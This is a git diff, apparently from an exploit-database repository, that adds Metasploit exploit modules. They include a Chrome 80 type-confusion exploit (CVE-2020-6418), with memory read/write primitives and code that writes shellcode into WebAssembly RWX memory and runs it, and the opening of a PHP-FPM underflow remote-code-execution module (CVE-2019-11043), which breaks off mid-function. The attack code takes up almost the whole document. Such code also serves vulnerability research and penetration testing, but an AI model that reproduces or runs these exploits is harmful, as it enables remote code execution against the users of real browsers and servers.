|
||||||
|
|
||||||
|
let memview_buf_addr = addrof(memview_buf);
|
||||||
|
memview_buf_addr--;
|
||||||
|
print(`ArrayBuffer @ ${hex(memview_buf_addr)}`);
|
||||||
|
|
||||||
|
let original_driver_buf_ptr = corrupt_arraybuffer(driver_buf, memview_buf_addr);
|
||||||
|
|
||||||
|
let driver = new BigUint64Array(driver_buf);
|
||||||
|
let original_memview_buf_ptr = driver[4];
|
||||||
|
|
||||||
|
let memory = {
|
||||||
|
write(addr, bytes) {
|
||||||
|
driver[4] = addr;
|
||||||
|
let memview = new Uint8Array(memview_buf);
|
||||||
|
memview.set(bytes);
|
||||||
|
},
|
||||||
|
read(addr, len) {
|
||||||
|
driver[4] = addr;
|
||||||
|
let memview = new Uint8Array(memview_buf);
|
||||||
|
return memview.subarray(0, len);
|
||||||
|
},
|
||||||
|
readPtr(addr) {
|
||||||
|
driver[4] = addr;
|
||||||
|
let memview = new BigUint64Array(memview_buf);
|
||||||
|
return memview[0];
|
||||||
|
},
|
||||||
|
writePtr(addr, ptr) {
|
||||||
|
driver[4] = addr;
|
||||||
|
let memview = new BigUint64Array(memview_buf);
|
||||||
|
memview[0] = ptr;
|
||||||
|
},
|
||||||
|
addrof(obj) {
|
||||||
|
memview_buf.leakMe = obj;
|
||||||
|
let props = this.readPtr(memview_buf_addr + 8n);
|
||||||
|
return this.readPtr(props + 15n) - 1n;
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
// Generate a RWX region for the payload
|
||||||
|
function get_wasm_instance() {
|
||||||
|
var buffer = new Uint8Array([
|
||||||
|
0,97,115,109,1,0,0,0,1,132,128,128,128,0,1,96,0,0,3,130,128,128,128,0,
|
||||||
|
1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,
|
||||||
|
128,128,0,0,7,146,128,128,128,0,2,6,109,101,109,111,114,121,2,0,5,104,
|
||||||
|
101,108,108,111,0,0,10,136,128,128,128,0,1,130,128,128,128,0,0,11
|
||||||
|
]);
|
||||||
|
return new WebAssembly.Instance(new WebAssembly.Module(buffer),{});
|
||||||
|
}
|
||||||
|
|
||||||
|
let wasm_instance = get_wasm_instance();
|
||||||
|
let wasm_addr = memory.addrof(wasm_instance);
|
||||||
|
print("wasm_addr @ " + hex(wasm_addr));
|
||||||
|
let wasm_rwx_addr = memory.readPtr(wasm_addr + 0xe0n);
|
||||||
|
print("wasm_rwx @ " + hex(wasm_rwx_addr));
|
||||||
|
|
||||||
|
memory.write(wasm_rwx_addr, shellcode);
|
||||||
|
|
||||||
|
let fake_vtab = new ArrayBuffer(0x80);
|
||||||
|
let fake_vtab_u64 = new BigUint64Array(fake_vtab);
|
||||||
|
let fake_vtab_addr = memory.readPtr(memory.addrof(fake_vtab) + 0x20n);
|
||||||
|
|
||||||
|
let div = document.createElement('div');
|
||||||
|
let div_addr = memory.addrof(div);
|
||||||
|
print('div_addr @ ' + hex(div_addr));
|
||||||
|
let el_addr = memory.readPtr(div_addr + 0x20n);
|
||||||
|
print('el_addr @ ' + hex(div_addr));
|
||||||
|
|
||||||
|
fake_vtab_u64.fill(wasm_rwx_addr, 6, 10);
|
||||||
|
memory.writePtr(el_addr, fake_vtab_addr);
|
||||||
|
|
||||||
|
print('Triggering...');
|
||||||
|
|
||||||
|
// Trigger virtual call
|
||||||
|
div.dispatchEvent(new Event('click'));
|
||||||
|
|
||||||
|
// We are done here, repair the corrupted array buffers
|
||||||
|
let addr = memory.addrof(driver_buf);
|
||||||
|
memory.writePtr(addr + 32n, original_driver_buf_ptr);
|
||||||
|
memory.writePtr(memview_buf_addr + 32n, original_memview_buf_ptr);
|
||||||
|
}
|
||||||
|
|
||||||
|
pwn();
|
||||||
|
^
|
||||||
|
|
||||||
|
if datastore['DEBUG_EXPLOIT']
|
||||||
|
debugjs = %Q^
|
||||||
|
print = function(arg) {
|
||||||
|
var request = new XMLHttpRequest();
|
||||||
|
request.open("POST", "/print", false);
|
||||||
|
request.send("" + arg);
|
||||||
|
};
|
||||||
|
^
|
||||||
|
jscript = "#{debugjs}#{jscript}"
|
||||||
|
else
|
||||||
|
jscript.gsub!(/\/\/.*$/, '') # strip comments
|
||||||
|
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
|
||||||
|
end
|
||||||
|
|
||||||
|
html = %Q^
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<script>
|
||||||
|
#{jscript}
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
^
|
||||||
|
|
||||||
|
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
382
exploits/multiple/remote/48186.rb
Executable file
382
exploits/multiple/remote/48186.rb
Executable file
|
@ -0,0 +1,382 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
Rank = ManualRanking
|
||||||
|
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Exploit::Remote::HttpServer
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Google Chrome 80 JSCreate side-effect type confusion exploit',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits an issue in Google Chrome 80.0.3987.87 (64 bit). The exploit
|
||||||
|
corrupts the length of a float array (float_rel), which can then be used for out
|
||||||
|
of bounds read and write on adjacent memory.
|
||||||
|
The relative read and write is then used to modify a UInt64Array (uint64_aarw)
|
||||||
|
which is used for read and writing from absolute memory.
|
||||||
|
The exploit then uses WebAssembly in order to allocate a region of RWX memory,
|
||||||
|
which is then replaced with the payload shellcode.
|
||||||
|
The payload is executed within the sandboxed renderer process, so the browser
|
||||||
|
must be run with the --no-sandbox option for the payload to work correctly.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [
|
||||||
|
'Clément Lecigne', # discovery
|
||||||
|
'István Kurucsai', # exploit
|
||||||
|
'Vignesh S Rao', # exploit
|
||||||
|
'timwr', # metasploit copypasta
|
||||||
|
],
|
||||||
|
'References' => [
|
||||||
|
['CVE', '2020-6418'],
|
||||||
|
['URL', 'https://bugs.chromium.org/p/chromium/issues/detail?id=1053604'],
|
||||||
|
['URL', 'https://blog.exodusintel.com/2020/02/24/a-eulogy-for-patch-gapping'],
|
||||||
|
['URL', 'https://ray-cp.github.io/archivers/browser-pwn-cve-2020-6418%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90'],
|
||||||
|
],
|
||||||
|
'Arch' => [ ARCH_X64 ],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['Windows 10 - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'win'}],
|
||||||
|
['macOS - Google Chrome 80.0.3987.87 (64 bit)', {'Platform' => 'osx'}],
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'Feb 19 2020'))
|
||||||
|
register_advanced_options([
|
||||||
|
OptBool.new('DEBUG_EXPLOIT', [false, "Show debug information during exploitation", false]),
|
||||||
|
])
|
||||||
|
end
|
||||||
|
|
||||||
|
def on_request_uri(cli, request)
|
||||||
|
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
|
||||||
|
print_status("[*] #{request.body}")
|
||||||
|
send_response(cli, '')
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
print_status("Sending #{request.uri} to #{request['User-Agent']}")
|
||||||
|
escaped_payload = Rex::Text.to_unescape(payload.raw)
|
||||||
|
jscript = %Q^
|
||||||
|
var shellcode = unescape("#{escaped_payload}");
|
||||||
|
|
||||||
|
// HELPER FUNCTIONS
|
||||||
|
let conversion_buffer = new ArrayBuffer(8);
|
||||||
|
let float_view = new Float64Array(conversion_buffer);
|
||||||
|
let int_view = new BigUint64Array(conversion_buffer);
|
||||||
|
BigInt.prototype.hex = function() {
|
||||||
|
return '0x' + this.toString(16);
|
||||||
|
};
|
||||||
|
BigInt.prototype.i2f = function() {
|
||||||
|
int_view[0] = this;
|
||||||
|
return float_view[0];
|
||||||
|
}
|
||||||
|
BigInt.prototype.smi2f = function() {
|
||||||
|
int_view[0] = this << 32n;
|
||||||
|
return float_view[0];
|
||||||
|
}
|
||||||
|
Number.prototype.f2i = function() {
|
||||||
|
float_view[0] = this;
|
||||||
|
return int_view[0];
|
||||||
|
}
|
||||||
|
Number.prototype.f2smi = function() {
|
||||||
|
float_view[0] = this;
|
||||||
|
return int_view[0] >> 32n;
|
||||||
|
}
|
||||||
|
|
||||||
|
Number.prototype.fhw = function() {
|
||||||
|
float_view[0] = this;
|
||||||
|
return int_view[0] >> 32n;
|
||||||
|
}
|
||||||
|
|
||||||
|
Number.prototype.flw = function() {
|
||||||
|
float_view[0] = this;
|
||||||
|
return int_view[0] & BigInt(2**32-1);
|
||||||
|
}
|
||||||
|
|
||||||
|
Number.prototype.i2f = function() {
|
||||||
|
return BigInt(this).i2f();
|
||||||
|
}
|
||||||
|
Number.prototype.smi2f = function() {
|
||||||
|
return BigInt(this).smi2f();
|
||||||
|
}
|
||||||
|
|
||||||
|
function hex(a) {
|
||||||
|
return a.toString(16);
|
||||||
|
}
|
||||||
|
|
||||||
|
//
|
||||||
|
// EXPLOIT
|
||||||
|
//
|
||||||
|
|
||||||
|
// the number of holes here determines the OOB write offset
|
||||||
|
let vuln = [0.1, ,,,,,,,,,,,,,,,,,,,,,, 6.1, 7.1, 8.1];
|
||||||
|
var float_rel; // float array, initially corruption target
|
||||||
|
var float_carw; // float array, used for reads/writes within the compressed heap
|
||||||
|
var uint64_aarw; // uint64 typed array, used for absolute reads/writes in the entire address space
|
||||||
|
var obj_leaker; // used to implement addrof
|
||||||
|
vuln.pop();
|
||||||
|
vuln.pop();
|
||||||
|
vuln.pop();
|
||||||
|
|
||||||
|
function empty() {}
|
||||||
|
|
||||||
|
function f(nt) {
|
||||||
|
// The compare operation enforces an effect edge between JSCreate and Array.push, thus introducing the bug
|
||||||
|
vuln.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? 0.2 : 156842065920.05);
|
||||||
|
for (var i = 0; i < 0x10000; ++i) {};
|
||||||
|
}
|
||||||
|
|
||||||
|
let p = new Proxy(Object, {
|
||||||
|
get: function() {
|
||||||
|
vuln[0] = {};
|
||||||
|
float_rel = [0.2, 1.2, 2.2, 3.2, 4.3];
|
||||||
|
float_carw = [6.6];
|
||||||
|
uint64_aarw = new BigUint64Array(4);
|
||||||
|
obj_leaker = {
|
||||||
|
a: float_rel,
|
||||||
|
b: float_rel,
|
||||||
|
};
|
||||||
|
|
||||||
|
return Object.prototype;
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
function main(o) {
|
||||||
|
for (var i = 0; i < 0x10000; ++i) {};
|
||||||
|
return f(o);
|
||||||
|
}
|
||||||
|
|
||||||
|
// reads 4 bytes from the compressed heap at the specified dword offset after float_rel
|
||||||
|
function crel_read4(offset) {
|
||||||
|
var qw_offset = Math.floor(offset / 2);
|
||||||
|
if (offset & 1 == 1) {
|
||||||
|
return float_rel[qw_offset].fhw();
|
||||||
|
} else {
|
||||||
|
return float_rel[qw_offset].flw();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// writes the specified 4-byte BigInt value to the compressed heap at the specified offset after float_rel
|
||||||
|
function crel_write4(offset, val) {
|
||||||
|
var qw_offset = Math.floor(offset / 2);
|
||||||
|
// we are writing an 8-byte double under the hood
|
||||||
|
// read out the other half and keep its value
|
||||||
|
if (offset & 1 == 1) {
|
||||||
|
temp = float_rel[qw_offset].flw();
|
||||||
|
new_val = (val << 32n | temp).i2f();
|
||||||
|
float_rel[qw_offset] = new_val;
|
||||||
|
} else {
|
||||||
|
temp = float_rel[qw_offset].fhw();
|
||||||
|
new_val = (temp << 32n | val).i2f();
|
||||||
|
float_rel[qw_offset] = new_val;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const float_carw_elements_offset = 0x14;
|
||||||
|
|
||||||
|
function cabs_read4(caddr) {
|
||||||
|
elements_addr = caddr - 8n | 1n;
|
||||||
|
crel_write4(float_carw_elements_offset, elements_addr);
|
||||||
|
print('cabs_read4: ' + hex(float_carw[0].f2i()));
|
||||||
|
res = float_carw[0].flw();
|
||||||
|
// TODO restore elements ptr
|
||||||
|
return res;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// This function provides arbitrary within read the compressed heap
|
||||||
|
function cabs_read8(caddr) {
|
||||||
|
elements_addr = caddr - 8n | 1n;
|
||||||
|
crel_write4(float_carw_elements_offset, elements_addr);
|
||||||
|
print('cabs_read8: ' + hex(float_carw[0].f2i()));
|
||||||
|
res = float_carw[0].f2i();
|
||||||
|
// TODO restore elements ptr
|
||||||
|
return res;
|
||||||
|
}
|
||||||
|
|
||||||
|
// This function provides arbitrary write within the compressed heap
|
||||||
|
function cabs_write4(caddr, val) {
|
||||||
|
elements_addr = caddr - 8n | 1n;
|
||||||
|
|
||||||
|
temp = cabs_read4(caddr + 4n | 1n);
|
||||||
|
print('cabs_write4 temp: '+ hex(temp));
|
||||||
|
|
||||||
|
new_val = (temp << 32n | val).i2f();
|
||||||
|
|
||||||
|
crel_write4(float_carw_elements_offset, elements_addr);
|
||||||
|
print('cabs_write4 prev_val: '+ hex(float_carw[0].f2i()));
|
||||||
|
|
||||||
|
float_carw[0] = new_val;
|
||||||
|
// TODO restore elements ptr
|
||||||
|
return res;
|
||||||
|
}
|
||||||
|
|
||||||
|
const objleaker_offset = 0x41;
|
||||||
|
function addrof(o) {
|
||||||
|
obj_leaker.b = o;
|
||||||
|
addr = crel_read4(objleaker_offset) & BigInt(2**32-2);
|
||||||
|
obj_leaker.b = {};
|
||||||
|
return addr;
|
||||||
|
}
|
||||||
|
|
||||||
|
const uint64_externalptr_offset = 0x1b; // in 8-bytes
|
||||||
|
|
||||||
|
// Arbitrary read. We corrupt the backing store of the `uint64_aarw` array and then read from the array
|
||||||
|
function read8(addr) {
|
||||||
|
faddr = addr.i2f();
|
||||||
|
t1 = float_rel[uint64_externalptr_offset];
|
||||||
|
t2 = float_rel[uint64_externalptr_offset + 1];
|
||||||
|
float_rel[uint64_externalptr_offset] = faddr;
|
||||||
|
float_rel[uint64_externalptr_offset + 1] = 0.0;
|
||||||
|
|
||||||
|
val = uint64_aarw[0];
|
||||||
|
|
||||||
|
float_rel[uint64_externalptr_offset] = t1;
|
||||||
|
float_rel[uint64_externalptr_offset + 1] = t2;
|
||||||
|
return val;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Arbitrary write. We corrupt the backing store of the `uint64_aarw` array and then write into the array
|
||||||
|
function write8(addr, val) {
|
||||||
|
faddr = addr.i2f();
|
||||||
|
t1 = float_rel[uint64_externalptr_offset];
|
||||||
|
t2 = float_rel[uint64_externalptr_offset + 1];
|
||||||
|
float_rel[uint64_externalptr_offset] = faddr;
|
||||||
|
float_rel[uint64_externalptr_offset + 1] = 0.0;
|
||||||
|
|
||||||
|
uint64_aarw[0] = val;
|
||||||
|
|
||||||
|
float_rel[uint64_externalptr_offset] = t1;
|
||||||
|
float_rel[uint64_externalptr_offset + 1] = t2;
|
||||||
|
return val;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Given an array of bigints, this will write all the elements to the address provided as argument
|
||||||
|
function writeShellcode(addr, sc) {
|
||||||
|
faddr = addr.i2f();
|
||||||
|
t1 = float_rel[uint64_externalptr_offset];
|
||||||
|
t2 = float_rel[uint64_externalptr_offset + 1];
|
||||||
|
float_rel[uint64_externalptr_offset - 1] = 10;
|
||||||
|
float_rel[uint64_externalptr_offset] = faddr;
|
||||||
|
float_rel[uint64_externalptr_offset + 1] = 0.0;
|
||||||
|
|
||||||
|
for (var i = 0; i < sc.length; ++i) {
|
||||||
|
uint64_aarw[i] = sc[i]
|
||||||
|
}
|
||||||
|
|
||||||
|
float_rel[uint64_externalptr_offset] = t1;
|
||||||
|
float_rel[uint64_externalptr_offset + 1] = t2;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
function get_compressed_rw() {
|
||||||
|
|
||||||
|
for (var i = 0; i < 0x10000; ++i) {empty();}
|
||||||
|
|
||||||
|
main(empty);
|
||||||
|
main(empty);
|
||||||
|
|
||||||
|
// Function would be jit compiled now.
|
||||||
|
main(p);
|
||||||
|
|
||||||
|
print(`Corrupted length of float_rel array = ${float_rel.length}`);
|
||||||
|
}
|
||||||
|
|
||||||
|
function get_arw() {
|
||||||
|
get_compressed_rw();
|
||||||
|
print('should be 0x2: ' + hex(crel_read4(0x15)));
|
||||||
|
let previous_elements = crel_read4(0x14);
|
||||||
|
//print(hex(previous_elements));
|
||||||
|
//print(hex(cabs_read4(previous_elements)));
|
||||||
|
//print(hex(cabs_read4(previous_elements + 4n)));
|
||||||
|
cabs_write4(previous_elements, 0x66554433n);
|
||||||
|
//print(hex(cabs_read4(previous_elements)));
|
||||||
|
//print(hex(cabs_read4(previous_elements + 4n)));
|
||||||
|
|
||||||
|
print('addrof(float_rel): ' + hex(addrof(float_rel)));
|
||||||
|
uint64_aarw[0] = 0x4142434445464748n;
|
||||||
|
}
|
||||||
|
|
||||||
|
function rce() {
|
||||||
|
function get_wasm_func() {
|
||||||
|
var importObject = {
|
||||||
|
imports: { imported_func: arg => print(arg) }
|
||||||
|
};
|
||||||
|
bc = [0x0, 0x61, 0x73, 0x6d, 0x1, 0x0, 0x0, 0x0, 0x1, 0x8, 0x2, 0x60, 0x1, 0x7f, 0x0, 0x60, 0x0, 0x0, 0x2, 0x19, 0x1, 0x7, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x73, 0xd, 0x69, 0x6d, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x0, 0x3, 0x2, 0x1, 0x1, 0x7, 0x11, 0x1, 0xd, 0x65, 0x78, 0x70, 0x6f, 0x72, 0x74, 0x65, 0x64, 0x5f, 0x66, 0x75, 0x6e, 0x63, 0x0, 0x1, 0xa, 0x8, 0x1, 0x6, 0x0, 0x41, 0x2a, 0x10, 0x0, 0xb];
|
||||||
|
wasm_code = new Uint8Array(bc);
|
||||||
|
wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject);
|
||||||
|
return wasm_mod.exports.exported_func;
|
||||||
|
}
|
||||||
|
|
||||||
|
let wasm_func = get_wasm_func();
|
||||||
|
// traverse the JSFunction object chain to find the RWX WebAssembly code page
|
||||||
|
let wasm_func_addr = addrof(wasm_func);
|
||||||
|
let sfi = cabs_read4(wasm_func_addr + 12n) - 1n;
|
||||||
|
print('sfi: ' + hex(sfi));
|
||||||
|
let WasmExportedFunctionData = cabs_read4(sfi + 4n) - 1n;
|
||||||
|
print('WasmExportedFunctionData: ' + hex(WasmExportedFunctionData));
|
||||||
|
|
||||||
|
let instance = cabs_read4(WasmExportedFunctionData + 8n) - 1n;
|
||||||
|
print('instance: ' + hex(instance));
|
||||||
|
|
||||||
|
let wasm_rwx_addr = cabs_read8(instance + 0x68n);
|
||||||
|
print('wasm_rwx_addr: ' + hex(wasm_rwx_addr));
|
||||||
|
|
||||||
|
// write the shellcode to the RWX page
|
||||||
|
while(shellcode.length % 4 != 0){
|
||||||
|
shellcode += "\u9090";
|
||||||
|
}
|
||||||
|
|
||||||
|
let sc = [];
|
||||||
|
|
||||||
|
// convert the shellcode to BigInt
|
||||||
|
for (let i = 0; i < shellcode.length; i += 4) {
|
||||||
|
sc.push(BigInt(shellcode.charCodeAt(i)) + BigInt(shellcode.charCodeAt(i + 1) * 0x10000) + BigInt(shellcode.charCodeAt(i + 2) * 0x100000000) + BigInt(shellcode.charCodeAt(i + 3) * 0x1000000000000));
|
||||||
|
}
|
||||||
|
|
||||||
|
writeShellcode(wasm_rwx_addr,sc);
|
||||||
|
|
||||||
|
print('success');
|
||||||
|
wasm_func();
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
function exp() {
|
||||||
|
get_arw();
|
||||||
|
rce();
|
||||||
|
}
|
||||||
|
|
||||||
|
exp();
|
||||||
|
^
|
||||||
|
|
||||||
|
if datastore['DEBUG_EXPLOIT']
|
||||||
|
debugjs = %Q^
|
||||||
|
print = function(arg) {
|
||||||
|
var request = new XMLHttpRequest();
|
||||||
|
request.open("POST", "/print", false);
|
||||||
|
request.send("" + arg);
|
||||||
|
};
|
||||||
|
^
|
||||||
|
jscript = "#{debugjs}#{jscript}"
|
||||||
|
else
|
||||||
|
jscript.gsub!(/\/\/.*$/, '') # strip comments
|
||||||
|
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
|
||||||
|
end
|
||||||
|
|
||||||
|
html = %Q^
|
||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<script>
|
||||||
|
#{jscript}
|
||||||
|
</script>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
^
|
||||||
|
send_response(cli, html, {'Content-Type'=>'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0'})
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -1,6 +1,6 @@
|
||||||
# Exploit Title: Sahi pro (8.x) Directory traversal
|
# Exploit Title: Sahi pro (8.x) Directory traversal
|
||||||
# Date: 25/06/2019
|
# Date: 2019-06-25
|
||||||
# Exploit Author: Alexander Bluestein
|
# Exploit Author: Operat0r
|
||||||
# Vendor Homepage: https://sahipro.com/
|
# Vendor Homepage: https://sahipro.com/
|
||||||
# Software Link: https://sahipro.com/downloads-archive/
|
# Software Link: https://sahipro.com/downloads-archive/
|
||||||
# Version: 8.0
|
# Version: 8.0
|
||||||
|
|
436
exploits/php/remote/48182.rb
Executable file
436
exploits/php/remote/48182.rb
Executable file
|
@ -0,0 +1,436 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: https://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Exploit::Remote
|
||||||
|
|
||||||
|
Rank = NormalRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(
|
||||||
|
update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'PHP-FPM Underflow RCE',
|
||||||
|
'Description' => %q(
|
||||||
|
This module exploits an underflow vulnerability in versions 7.1.x
|
||||||
|
below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 of PHP-FPM on
|
||||||
|
Nginx. Only servers with certains Nginx + PHP-FPM configurations are
|
||||||
|
exploitable. This is a port of the original neex's exploit code (see
|
||||||
|
refs.). First, it detects the correct parameters (Query String Length
|
||||||
|
and custom header length) needed to trigger code execution. This step
|
||||||
|
determines if the target is actually vulnerable (Check method). Then,
|
||||||
|
the exploit sets a series of PHP INI directives to create a file
|
||||||
|
locally on the target, which enables code execution through a query
|
||||||
|
string parameter. This is used to execute normal payload stagers.
|
||||||
|
Finally, this module does some cleanup by killing local PHP-FPM
|
||||||
|
workers (those are spawned automatically once killed) and removing
|
||||||
|
the created local file.
|
||||||
|
),
|
||||||
|
'Author' => [
|
||||||
|
'neex', # (Emil Lerner) Discovery and original exploit code
|
||||||
|
'cdelafuente-r7' # This module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
['CVE', '2019-11043'],
|
||||||
|
['EDB', '47553'],
|
||||||
|
['URL', 'https://github.com/neex/phuip-fpizdam'],
|
||||||
|
['URL', 'https://bugs.php.net/bug.php?id=78599'],
|
||||||
|
['URL', 'https://blog.orange.tw/2019/10/an-analysis-and-thought-about-recently.html']
|
||||||
|
],
|
||||||
|
'DisclosureDate' => "2019-10-22",
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Payload' => {
|
||||||
|
'BadChars' => "&>\' "
|
||||||
|
},
|
||||||
|
'Targets' => [
|
||||||
|
[
|
||||||
|
'PHP', {
|
||||||
|
'Platform' => 'php',
|
||||||
|
'Arch' => ARCH_PHP,
|
||||||
|
'Payload' => {
|
||||||
|
'PrependEncoder' => "php -r \"",
|
||||||
|
'AppendEncoder' => "\""
|
||||||
|
}
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[
|
||||||
|
'Shell Command', {
|
||||||
|
'Platform' => 'unix',
|
||||||
|
'Arch' => ARCH_CMD
|
||||||
|
}
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'Notes' => {
|
||||||
|
'Stability' => [CRASH_SERVICE_RESTARTS],
|
||||||
|
'Reliability' => [REPEATABLE_SESSION],
|
||||||
|
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
|
||||||
|
}
|
||||||
|
)
|
||||||
|
)
|
||||||
|
|
||||||
|
register_options([
|
||||||
|
OptString.new('TARGETURI', [true, 'Path to a PHP page', '/index.php'])
|
||||||
|
])
|
||||||
|
|
||||||
|
register_advanced_options([
|
||||||
|
OptInt.new('MinQSL', [true, 'Minimum query string length', 1500]),
|
||||||
|
OptInt.new('MaxQSL', [true, 'Maximum query string length', 1950]),
|
||||||
|
OptInt.new('QSLHint', [false, 'Query string length hint']),
|
||||||
|
OptInt.new('QSLDetectStep', [true, 'Query string length detect step', 5]),
|
||||||
|
OptInt.new('MaxQSLCandidates', [true, 'Max query string length candidates', 10]),
|
||||||
|
OptInt.new('MaxQSLDetectDelta', [true, 'Max query string length detection delta', 10]),
|
||||||
|
OptInt.new('MaxCustomHeaderLength', [true, 'Max custom header length', 256]),
|
||||||
|
OptInt.new('CustomHeaderLengthHint', [false, 'Custom header length hint']),
|
||||||
|
OptEnum.new('DetectMethod', [true, "Detection method", 'session.auto_start', self.class.detect_methods.keys]),
|
||||||
|
OptInt.new('OperationMaxRetries', [true, 'Maximum of operation retries', 20])
|
||||||
|
])
|
||||||
|
@filename = rand_text_alpha(1)
|
||||||
|
@http_param = rand_text_alpha(1)
|
||||||
|
end
|
||||||
|
|
||||||
|
CHECK_COMMAND = "which which"
|
||||||
|
SUCCESS_PATTERN = "/bin/which"
|
||||||
|
|
||||||
|
class DetectMethod
|
||||||
|
attr_reader :php_option_enable, :php_option_disable
|
||||||
|
|
||||||
|
def initialize(php_option_enable:, php_option_disable:, check_cb:)
|
||||||
|
@php_option_enable = php_option_enable
|
||||||
|
@php_option_disable = php_option_disable
|
||||||
|
@check_cb = check_cb
|
||||||
|
end
|
||||||
|
|
||||||
|
def php_option_enabled?(res)
|
||||||
|
!!@check_cb.call(res)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
def self.detect_methods
|
||||||
|
{
|
||||||
|
'session.auto_start' => DetectMethod.new(
|
||||||
|
php_option_enable: 'session.auto_start=1',
|
||||||
|
php_option_disable: 'session.auto_start=0',
|
||||||
|
check_cb: ->(res) { res.get_cookies =~ /PHPSESSID=/ }
|
||||||
|
),
|
||||||
|
'output_handler.md5' => DetectMethod.new(
|
||||||
|
php_option_enable: 'output_handler=md5',
|
||||||
|
php_option_disable: 'output_handler=NULL',
|
||||||
|
check_cb: ->(res) { res.body.length == 16 }
|
||||||
|
)
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
def send_crafted_request(path:, qsl: datastore['MinQSL'], customh_length: 1, cmd: '', allow_retry: true)
|
||||||
|
uri = URI.encode(normalize_uri(target_uri.path, path)).gsub(/([?&])/, {'?'=>'%3F', '&'=>'%26'})
|
||||||
|
qsl_delta = uri.length - path.length - URI.encode(target_uri.path).length
|
||||||
|
if qsl_delta.odd?
|
||||||
|
fail_with Failure::Unknown, "Got odd qslDelta, that means the URL encoding gone wrong: path=#{path}, qsl_delta=#{qsl_delta}"
|
||||||
|
end
|
||||||
|
prefix = cmd.empty? ? '' : "#{@http_param}=#{URI.encode(cmd)}%26"
|
||||||
|
qsl_prime = qsl - qsl_delta/2 - prefix.length
|
||||||
|
if qsl_prime < 0
|
||||||
|
fail_with Failure::Unknown, "QSL value too small to fit the command: QSL=#{qsl}, qsl_delta=#{qsl_delta}, prefix (size=#{prefix.size})=#{prefix}"
|
||||||
|
end
|
||||||
|
uri = "#{uri}?#{prefix}#{'Q'*qsl_prime}"
|
||||||
|
opts = {
|
||||||
|
'method' => 'GET',
|
||||||
|
'uri' => uri,
|
||||||
|
'headers' => {
|
||||||
|
'CustomH' => "x=#{Rex::Text.rand_text_alphanumeric(customh_length)}",
|
||||||
|
'Nuut' => Rex::Text.rand_text_alphanumeric(11)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
actual_timeout = datastore['HttpClientTimeout'] if datastore['HttpClientTimeout']&.> 0
|
||||||
|
actual_timeout ||= 20
|
||||||
|
|
||||||
|
connect(opts) if client.nil? || !client.conn?
|
||||||
|
# By default, try to reuse an existing connection (persist option).
|
||||||
|
res = client.send_recv(client.request_raw(opts), actual_timeout, true)
|
||||||
|
if res.nil? && allow_retry
|
||||||
|
# The server closed the connection, resend without 'persist', which forces
|
||||||
|
# reconnecting. This could happen if the connection is reused too much time.
|
||||||
|
# Nginx will automatically close a keepalive connection after 100 requests
|
||||||
|
# by default or whatever value is set by the 'keepalive_requests' option.
|
||||||
